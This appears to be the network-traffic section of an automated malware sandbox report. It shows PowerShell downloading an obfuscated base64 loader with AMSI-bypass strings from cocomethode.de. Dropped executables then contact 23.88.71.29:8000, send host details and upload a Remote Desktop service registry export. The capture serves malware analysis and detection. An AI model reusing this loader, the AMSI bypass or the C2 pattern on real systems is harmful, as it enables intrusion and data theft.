Dec 11, 2024 12:46:32.537451029 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.760674000 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.760703087 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.760770082 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.760842085 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.760849953 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.760890007 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.760890007 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.760894060 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.760941982 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.760991096 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.761089087 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.762577057 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.762586117 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.763887882 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.763936043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.763936043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.763936043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.763936043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.763941050 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.764545918 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.764555931 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.764861107 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.764867067 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.765640020 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.765640020 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.765825033 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.766550064 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.766575098 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.766676903 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.767752886 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.767760992 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.768707037 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.769227028 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.769234896 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.770242929 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.770250082 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.771203995 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.771218061 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.771225929 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.771692991 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.771698952 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.772041082 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.772749901 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.772890091 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.773000956 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.773006916 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.773051023 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.773122072 CET	49768	443	192.168.11.20	172.67.128.139

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:44:00.345201969 CET	50770	53	192.168.11.20	1.1.1.1
Dec 11, 2024 12:44:00.461328030 CET	53	50770	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 12:44:00.345201969 CET	192.168.11.20	1.1.1.1	0x53ba	Standard query (0)	cocomethode.de	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 12:44:00.461328030 CET	1.1.1.1	192.168.11.20	0x53ba	No error (0)	cocomethode.de		172.67.128.139	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:44:00.461328030 CET	1.1.1.1	192.168.11.20	0x53ba	No error (0)	cocomethode.de		104.21.1.51	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cocomethode.de

23.88.71.29:8000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49762	172.67.128.139	80	9124	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:44:44.897128105 CET	73	OUT	GET /api/check HTTP/1.1 Host: cocomethode.de Connection: Keep-Alive
Dec 11, 2024 12:44:45.390845060 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RHR3oJVLec7njHR5ZzOvdcFPYJZjBtASm01pm0hWKuwLbOVpq2Y4vjyp76%2FYSrXxgx1ItmuSA%2FnMwQFKldYFXbVUp5JI0oX1fPnLj%2Fj7%2BFFwgR%2FI9UKb%2BE0awJNPlLDosyR32tF28JCU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19807&min_rtt=1025&rtt_var=27215&sent=32958&recv=14540&lost=0&retrans=0&sent_bytes=47068971&recv_bytes=157972&delivery_rate=17620689&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053978feb74587-ATL server-timing: cfL4;desc="?proto=TCP&rtt=73&min_rtt=19&rtt_var=33&sent=316&recv=293&lost=0&retrans=0&sent_bytes=8358475&recv_bytes=960&delivery_rate=3446473684&cwnd=152&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=104&min_rtt=20&rtt_var=63&sent=335&recv=309&lost=0&retrans=0&sent_bytes=8359666&recv_bytes=1599&delivery_rate=3274150000&cwnd=185&unsent_bytes=0&cid=000 Data Raw: Data Ascii:
Dec 11, 2024 12:44:45.390855074 CET	867	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 37 38 26 6d 69 6e 5f 72 74 74 3d 32 30 26 72 74 74 Data Ascii: 000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=78&min_rtt=20&rtt_var=29&sent=336&recv=316&lost=0&retrans=0&sent_bytes=8360073&recv_bytes=1570&delivery_rate=3274150000&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"se
Dec 11, 2024 12:44:45.391036034 CET	362	IN	Data Raw: 31 36 33 0d 0a 31 37 33 33 39 31 37 34 38 35 7c 46 5a 62 4f 6d 69 4b 77 6e 4c 68 7a 6d 47 57 45 43 4a 66 64 69 45 44 7a 6d 6d 79 4c 67 66 6c 63 55 6b 58 46 55 61 66 32 2f 4e 4b 63 33 46 79 61 46 2b 6f 50 49 48 51 41 68 4e 39 54 54 4b 48 6f 6a 55 Data Ascii: 1631733917485\|FZbOmiKwnLhzmGWECJfdiEDzmmyLgflcUkXFUaf2/NKc3FyaF+oPIHQAhN9TTKHojUNZn+VVCGTpFEt/jVANO6rSoHJKF22ji5/oBMHKqBzAXIkbidhkFBZxX+EXlHFd/2oQSP1SeIznT+vhscKe+bVEpGf2k6l0FhNc49JIMgIXVeeJcBdh4XtcqpBMp50iAzVrZwfLNWk7poR+Yi2SczJrrDzX1WZMS3h
Dec 11, 2024 12:44:45.391043901 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49765	23.88.71.29	8000	4644	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:45:49.420342922 CET	164	OUT	GET /client/ws HTTP/1.1 Host: 23.88.71.29:8000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: zn3NUJR5OUOkcJwXn0ptwA== Sec-WebSocket-Version: 13
Dec 11, 2024 12:45:50.194467068 CET	834	IN	HTTP/1.1 101 Switching Protocols Upgrade: Websocket Server: Microsoft-IIS/8.5 Sec-Websocket-Accept: qVfkLA9SHamctxaI1rdTws3p4Jc= CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5k8TbPR3NoVbYTGVpQR95qWqVwkSR9iUiqKfRuIxZHqty25z%2BRuDYVHfHFE4FDQvCZFOKH%2BeZwC0J6J3fwVzvnrklRVpjLhXK0HxuM2Pezw1XZagkEbZY3rMF5Dkl9vD20rJKjYzn0ua"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f053b0c9e615d51-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5657&min_rtt=5657&rtt_var=2828&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=307&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Connection: Upgrade Date: Wed, 11 Dec 2024 11:45:50 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49766	23.88.71.29	8000	4644	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:45:53.705368996 CET	234	OUT	POST /api/registry HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: application/json Content-Length: 102 Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "63013372F6575A9D4EA29CB608798ED9\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Dec 11, 2024 12:45:54.465262890 CET	811	IN	HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=20BFps9DQrYMA8y6tWm%2F5C%2BhhoDV%2B%2B%2F9G2RvlF3vFzFE0HTobewptMuUnQ9N7zl9ySxu8nyBftMiMuDwPkWpvwutSWZI7QbQAdqkPpohxZKu2%2BBiAUTeCTMQ7gRugxRtN%2BRPnM7o9kcL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f053b276e293813-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5649&min_rtt=5649&rtt_var=2824&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=380&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:45:54 GMT Content-Length: 32 Data Raw: 32 39 62 37 61 38 66 38 64 39 39 36 37 63 61 34 63 33 31 36 36 32 36 39 61 61 34 64 65 37 35 37 Data Ascii: 29b7a8f8d9967ca4c3166269aa4de757

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49767	23.88.71.29	8000	4644	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:45:54.682276011 CET	4096	OUT	POST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=---------------------8dd19af756380cd Content-Length: 5689 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 66 37 35 36 33 38 30 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 [TRUNCATED] Data Ascii: -----------------------8dd19af756380cdContent-Disposition: form-data; name="file"; filename="regBackup.reg"Content-Type: application/octet-streamWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]"DependOnService"=hex(7):52,00,50,00,43,00,53,00,53,00,00,00,00,00"Description"="@%SystemRoot%\\System32\\termsrv.dll,-267""DisplayName"="@%SystemRoot%\\System32\\termsrv.dll,-268""ErrorControl"=dword:00000001"FailureActions"=hex:80,51,01,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ 00,01,00,00,00,60,ea, [TRUNCATED]
Dec 11, 2024 12:45:55.121659994 CET	841	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wTNF5I4OVOPRQbpibiOs2uD6XQhRYCjlmxUZ5X5pIH938%2BxDesKl%2FcaHTXg%2BaJpaJGXlCFi%2B31CW4jApSbX9nBhuaJHnFJSXXcdvH831qTCK5NcW7O88wb6205fxQmPFsYZfTrT5i4%2FB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f053b2d7b9239e0-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5367&min_rtt=5349&rtt_var=2019&sent=9&recv=11&lost=0&retrans=0&sent_bytes=820&recv_bytes=6478&delivery_rate=541241&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:45:54 GMT Content-Length: 41 Data Raw: 46 69 6c 65 20 72 65 67 42 61 63 6b 75 70 2e 72 65 67 20 75 70 6c 6f 61 64 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e Data Ascii: File regBackup.reg uploaded successfully.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49739	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:00 UTC	161	OUT	GET /Zd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:44:01 UTC	1204	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:01 GMT Content-Type: application/octet-stream Content-Length: 6429 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q7SXPSZ1%2FFj0qFvAOudmAbwKIqMFBFZ%2ByhR0JRzfHojvC%2BSiqVbSZW10IYU0CUT5Jj1ll6IfUgtmQl1gsVVg6wsyxMa9L800rBk%2F20UHPxpYT63HtqPxvN5plyeT2jYy8AKCS%2BqBRWhk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1080&min_rtt=1064&rtt_var=251&sent=7&recv=7&lost=0&retrans=0&sent_bytes=7158&recv_bytes=1126&delivery_rate=6494661&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053865cc36bfea-ATL server-timing: cfL4;desc="?proto=TCP&rtt=39&min_rtt=39&rtt_var=19&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=399&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=392&delivery_rate=0&cwnd=91&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:01 UTC	219	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 32 38 26 6d 69 6e 5f 72 74 74 3d 31 31 33 36 39 36 26 72 74 74 5f 76 61 72 3d 32 34 30 33 34 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 37 37 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 35 38 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 36 36 66 62 37 66 62 34 66 33 36 66 30 38 30 26 74 73 3d 38 36 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113728&min_rtt=113696&rtt_var=24034&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=775&delivery_rate=33658&cwnd=252&unsent_bytes=0&cid=a66fb7fb4f36f080&ts=864&x=0"
2024-12-11 11:44:01 UTC	1315	IN	Data Raw: 24 62 73 6c 6c 6c 75 61 74 61 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 54 6c 70 58 52 6e 70 6b 57 45 70 73 54 46 55 35 61 57 46 74 56 6d 70 6b 51 32 74 31 55 54 49 35 4d 57 4a 75 55 54 64 45 55 57 39 72 57 6c 4e 42 4f 55 6c 47 64 46 52 6c 57 45 34 77 57 6c 63 77 64 56 5a 59 53 6e 42 59 56 47 38 32 55 6c 68 4f 61 6c 6c 59 51 6d 78 53 52 30 59 77 57 56 5a 4f 4d 47 4e 74 62 48 56 61 65 57 68 69 55 6c 63 31 4d 6d 46 59 53 6e 5a 69 62 54 46 73 59 6d 35 53 5a 45 39 71 63 46 5a 6a 4d 6c 5a 35 56 47 31 47 64 46 70 54 61 7a 64 45 55 57 39 72 5a 46 68 4b 63 30 6c 45 4d 47 64 4a Data Ascii: $bsllluata=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("TlpXRnpkWEpsTFU5aWFtVmpkQ2t1UTI5MWJuUTdEUW9rWlNBOUlGdFRlWE4wWlcwdVZYSnBYVG82UlhOallYQmxSR0YwWVZOMGNtbHVaeWhiUlc1MmFYSnZibTFsYm5SZE9qcFZjMlZ5VG1GdFpTazdEUW9rZFhKc0lEMGdJ
2024-12-11 11:44:01 UTC	1369	IN	Data Raw: 59 6a 4a 30 62 45 78 56 56 6a 52 6a 53 45 70 73 59 7a 4e 4f 63 47 49 79 4e 47 64 4c 52 6e 52 55 5a 56 68 4f 4d 46 70 58 4d 48 56 57 52 31 59 30 5a 45 4d 31 52 6d 4a 74 54 6e 5a 61 52 32 78 31 57 6a 45 77 4e 6b 39 73 56 6c 56 53 61 6d 64 31 55 6a 4a 57 4d 46 55 7a 55 6e 6c 68 56 7a 56 75 53 30 4e 53 61 57 56 59 55 6d 78 52 57 45 70 35 57 56 68 72 63 45 74 52 4d 45 73 3d 22 29 29 3b 0a 24 64 6e 6b 6c 66 79 78 64 6a 6e 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 53 6b 64 46 5a 31 42 54 51 57 6c 6b 56 7a 56 79 59 6d 30 35 4d 32 4a 70 53 54 64 4a 51 54 42 4c 5a 45 68 4b 4e 55 Data Ascii: YjJ0bExVVjRjSEpsYzNOcGIyNGdLRnRUZVhOMFpXMHVWR1Y0ZEM1RmJtTnZaR2x1WjEwNk9sVlVSamd1UjJWMFUzUnlhVzVuS0NSaWVYUmxRWEp5WVhrcEtRMEs="));$dnklfyxdjn=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkdFZ1BTQWlkVzVyYm05M2JpSTdJQTBLZEhKNU
2024-12-11 11:44:01 UTC	1369	IN	Data Raw: 6c 69 61 55 4a 4b 59 6d 35 53 55 57 52 49 53 57 64 53 4d 6c 59 77 55 6d 30 35 65 56 70 58 5a 48 6c 69 4d 31 5a 31 57 6b 5a 6b 63 47 4a 74 55 6e 5a 6b 65 57 64 77 54 33 6c 43 4f 55 70 35 51 58 52 55 52 30 5a 31 57 6a 4e 57 61 46 6f 79 56 57 64 52 4d 55 35 76 57 56 68 4b 64 30 39 35 51 6d 4a 6b 62 54 6c 77 57 6b 59 78 59 6c 59 79 62 48 56 4e 65 6b 70 6b 54 32 70 77 56 47 46 48 4f 54 4e 57 4d 6d 78 31 57 6b 63 35 4d 30 74 47 64 46 68 68 56 7a 52 36 54 57 77 77 4e 6b 39 72 5a 47 78 6b 52 56 70 32 59 32 31 57 62 6d 4e 74 4f 54 46 69 62 56 4a 59 59 56 63 31 61 32 49 7a 59 32 39 4c 55 33 64 6e 54 55 4e 72 54 6b 4e 6e 50 54 30 3d 22 29 29 3b 0a 24 62 7a 6d 65 6b 74 6e 69 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e Data Ascii: liaUJKYm5SUWRISWdSMlYwUm05eVpXZHliM1Z1WkZkcGJtUnZkeWdwT3lCOUp5QXRUR0Z1WjNWaFoyVWdRMU5vWVhKd095QmJkbTlwWkYxYlYybHVNekpkT2pwVGFHOTNWMmx1Wkc5M0tGdFhhVzR6TWwwNk9rZGxkRVp2Y21WbmNtOTFibVJYYVc1a2IzY29LU3dnTUNrTkNnPT0="));$bzmektni=[System.Text.Encoding]::ASCII.
2024-12-11 11:44:01 UTC	938	IN	Data Raw: 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 54 6d 39 75 55 48 56 69 62 47 6c 6a 22 29 29 3b 0a 24 78 69 63 70 64 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 58 32 56 75 59 57 4a 73 5a 57 51 3d 22 29 29 3b 0a 24 65 77 6f 6a 69 6a 69 79 6a 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 51 3d 3d 22 29 29 3b 0a 24 6c 6e 7a 62 7a 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e Data Ascii: t]::FromBase64String("Tm9uUHVibGlj"));$xicpd=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("X2VuYWJsZWQ="));$ewojijiyj=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bQ=="));$lnzbz=[System.Text.
2024-12-11 11:44:01 UTC	1369	IN	Data Raw: 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 31 7a 61 55 6c 75 61 58 52 47 59 57 6c 73 5a 57 51 3d 22 29 29 3b 0a 24 69 6b 66 65 62 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 22 29 29 3b 0a 24 67 71 72 78 74 67 77 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 64 43 35 42 64 58 52 76 62 57 46 30 61 57 39 75 4c 6b 46 74 63 32 6c 56 64 47 Data Ascii: em.Convert]::FromBase64String("YW1zaUluaXRGYWlsZWQ="));$ikfeb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(""));$gqrxtgw=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("dC5BdXRvbWF0aW9uLkFtc2lVdG
2024-12-11 11:44:01 UTC	69	IN	Data Raw: 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 28 24 64 6e 6b 6c 66 79 78 64 6a 6e 20 2b 20 24 62 73 6c 6c 6c 75 61 74 61 29 29 29 29 3b 0a Data Ascii: ng([System.Convert]::FromBase64String(($dnklfyxdjn + $bsllluata))));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49740	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:03 UTC	369	OUT	GET /file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/193 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
